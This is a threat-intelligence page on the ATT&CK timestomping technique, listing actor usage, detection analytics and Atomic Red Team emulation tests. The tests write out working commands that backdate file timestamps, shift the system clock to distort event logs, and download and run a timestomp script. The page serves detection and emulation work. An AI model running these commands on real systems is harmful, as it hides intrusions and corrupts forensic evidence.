Has used scripts to timestomp ESXi hosts prior to installing malicious vSphere Installation Bundles (VIBs).1
- Tactic
- Stealth
- Platforms
- ESXi, Linux, macOS, Windows
- Version
- 2.0
- Created
- 31 January 2020
- Last modified
- 12 May 2026
- Contributors
- Mike Hartley @mikehartley10; Romain Dumont, ESET
Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.
Timestomp MITRE reference T1070.006
11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has modified file timestamps.1
Has modified file timestamps from the export address table (EAT) in malware to make it difficult to identify creation times.1
Has used a Windows version of the Linux touch command to modify the date and time stamp on DLLs.1
Has changed the time stamp of certain files.1
Has manipulated timestamps for creation or compilation dates to defeat anti-forensics.1
All 11 groups for this technique · 6 newest in this preview
3 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During Cutting Edge, threat actors changed timestamps of multiple files on compromised Ivanti Secure Connect VPNs to conceal malicious activity.12
During the SolarWinds Compromise, APT29 modified timestamps of backdoors to match legitimate Windows files.1
During the C0032 campaign, TEMP.Veles used timestomping to modify the $STANDARD_INFORMATION attribute on tools.1
All 3 campaigns for this technique
44 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has updated the timestamp using the touch command.1
Can alter timestamps for directory content on targeted machines.123
Has modified file timestamps from the export address table (EAT) to make it difficult to discern when the module was created. 1
Can timestomp files for defense evasion and anti-forensics purposes.1
Restores timestamps to original values following modification.1
Uses the utimes() function to change the executable's timestamp.1
All 44 software entries for this technique · 6 newest in this preview
Offense vs defense T1070.006
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Timestomp detection strategy DET0591
MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering
AN1626 · Windows
Detects attempts to modify file timestamps via API usage (e.g., SetFileTime), CLI tools (e.g., w32tm, PowerShell), or double-timestomp behavior where $SI and $FN timestamps are mismatched or reverted.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| OS API ExecutionDC0021 | EDR:file | SetFileTime |
| File AccessDC0055 | WinEventLog:Security | EventCode=4663, 4670, 4656 |
| File MetadataDC0059 | WinEventLog:Sysmon | EventCode=15 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Correlate timestamp change with preceding file creation or suspicious access |
| APINamePattern | Include SetFileTime, NtSetInformationFile, or other timestamp APIs |
| TimestampDeltaThreshold | Trigger on excessive backdating (e.g., >90 days) |
AN1627 · Linux
Detects use of timestamp-altering commands like touch -a -m -t or touch -r, particularly when executed by unusual users or in suspicious directories.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve |
| File MetadataDC0059 | linux:osquery | file_events |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| MonitoredCommandList | Commands like touch -r, debugfs, stat used in sequence |
| FilePathRegex | Suspicious paths like /tmp/, /var/lib/, /mnt/esxi/ |
| DeltaThreshold | Mismatch between timestamp and file activity time |
AN1628 · macOS
Detects timestamp changes using touch, SetFile, or direct metadata tampering (e.g., xattr manipulation) from Terminal, scripts, or low-level APIs.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| File MetadataDC0059 | macos:osquery | file_events |
| Command ExecutionDC0064 | macos:unifiedlog | log stream --predicate |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandMatch | Touch/setfile and backdated timestamps |
| UserContext | Detects execution under non-interactive/system accounts |
AN1629 · ESXi
Detects abuse of busybox commands (e.g., touch) or log timestamp tampering during backdoor persistence or evasion.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| File ModificationDC0061 | esxi:vmkernel | /var/log/vmkernel.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimestampAgeComparison | Unusual backdating to match legit files |
| PersistenceOverlap | Overlap with known persistence paths |
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Set a file's access timestamp | linux, macos | sh | — | 1 | Yes | ||||||||||||||
Stomps on the access timestamp of a file Input arguments
Attack command touch -a -t 197001010000.00 #{target_filename}
Cleanup command rm -f #{target_filename}
Prerequisite The file must exist in order to be timestomped Check test -e #{target_filename} && exit 0 || exit 1
Satisfy echo 'T1070.006 file access timestomp test' > #{target_filename}
GUID30a142d1-ffa5-4be9-a277-2c2681f5f157 | ||||||||||||||||||||
| 02 | Set a file's modification timestamp | linux, macos | sh | — | 1 | Yes | ||||||||||||||
Stomps on the modification timestamp of a file Input arguments
Attack command touch -m -t 197001010000.00 #{target_filename}
Cleanup command rm -f #{target_filename}
Prerequisite The file must exist in order to be timestomped Check test -e #{target_filename} && exit 0 || exit 1
Satisfy echo 'T1070.006 file modification timestomp test' > #{target_filename}
GUIDbdb89a21-24dd-4d59-a2f3-9d607768c684 | ||||||||||||||||||||
| 03 | Set a file's creation timestamp | linux, macos | sh | Required | — | Yes | ||||||||||||||
Stomps on the create timestamp of a file Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution. Input arguments
Attack command NOW=$(date +%m%d%H%M%Y)
date 010100001971
touch #{target_filename}
date "$NOW"
stat #{target_filename}
Cleanup command rm -f #{target_filename}
GUIDca3530d2-8914-4f3d-9ff6-a785a62ad27f | ||||||||||||||||||||
| 04 | Modify file timestamps using reference file | linux, macos | sh | — | — | Yes | ||||||||||||||
Modifies the Input arguments
Attack command touch #{target_file_path}
touch -acmr #{reference_file_path} #{target_file_path}
Cleanup command rm -f #{target_file_path}
GUID88b0c6ad-cbf8-499c-ab70-4f320de79b0e | ||||||||||||||||||||
| 05 | Windows - Modify file creation timestamp with PowerShell | windows | PowerShell | — | 1 | — | ||||||||||||||
Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970. Input arguments
Attack command Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }
Prerequisite A file must exist at the path (#{file_path}) to change the creation time on Check if (Test-Path "#{file_path}") {exit 0} else {exit 1}
Satisfy New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
GUIDe164a9d9-9c3a-4e18-879b-ce97b9d2bee6 | ||||||||||||||||||||
| 06 | Windows - Modify file last modified timestamp with PowerShell | windows | PowerShell | — | 1 | — | ||||||||||||||
Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970. Input arguments
Attack command Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }
Prerequisite A file must exist at the path (#{file_path}) to change the modified time on Check if (Test-Path "#{file_path}") {exit 0} else {exit 1}
Satisfy New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
GUIDa5fccca0-43c8-4beb-915d-68b068321648 | ||||||||||||||||||||
| 07 | Windows - Modify file last access timestamp with PowerShell | windows | PowerShell | — | 1 | — | ||||||||||||||
Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970. Input arguments
Attack command Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }
Prerequisite A file must exist at the path ("#{file_path}") to change the last access time on Check if (Test-Path "#{file_path}") {exit 0} else {exit 1}
Satisfy New-Item -Path "#{file_path}" -Force | Out-Null
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
GUID6bf11753-2a72-49a8-b3e9-cc8f48a2591c | ||||||||||||||||||||
| 08 | Windows - Timestomp a File | windows | PowerShell | — | 2 | — | ||||||||||||||
Timestomp kxwn.lock. Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. Mitre ATT&CK Evals Input arguments
Attack command import-module "#{file_path}\timestomp.ps1"
timestomp -dest "#{file_path}\kxwn.lock"
Prerequisite timestomp.ps1 must be present in #{file_path}. Check if (Test-Path "#{file_path}\timestomp.ps1") {exit 0} else {exit 1}
Satisfy Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "#{file_path}\timestomp.ps1"
Prerequisite kxwn.lock must be present in #{file_path}. Check if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else {exit 1}
Satisfy New-Item -Path "#{file_path}\kxwn.lock" -ItemType File
GUID14919e96-5305-4bc7-b145-a2aae65bcf78 | ||||||||||||||||||||
| 09 | MacOS - Timestomp Date Modified | macos | sh | — | 1 | Yes | ||||||||||||||
Stomps on the modification timestamp of a file using MacOS's SetFile utility Input arguments
Attack command SetFile -m #{target_date} #{target_filename}
Cleanup command rm -f #{target_filename}
Prerequisite The file must exist in order to be timestomped Check test -e #{target_filename} && exit 0 || exit 1
Satisfy echo 'T1070.006 MacOS file modified timestomp test' > #{target_filename}
GUIDd8516e86-f8eb-4bde-af70-b2b7a9c348fc | ||||||||||||||||||||
| 10 | Event Log Manipulations- Time slipping via Powershell | windows | PowerShell | Required | — | Yes | ||||||||||||||
Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. Reference - https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40 https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4 Input arguments
Attack command try{
Set-Date -Date (Get-Date).AddDays(#{days_to_modify})
Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify}
}
catch {exit 1}
Cleanup command if(Test-Path "$env:APPDATA\slipDays.bak" ){
foreach($line in (get-content $env:APPDATA\slipDays.bak)){
Set-Date -Date (Get-Date).AddDays(-$line)
}
rm "$env:APPDATA\slipDays.bak"
}
GUIDe96570c8-c3c3-4051-8606-7260c1033a70 | ||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition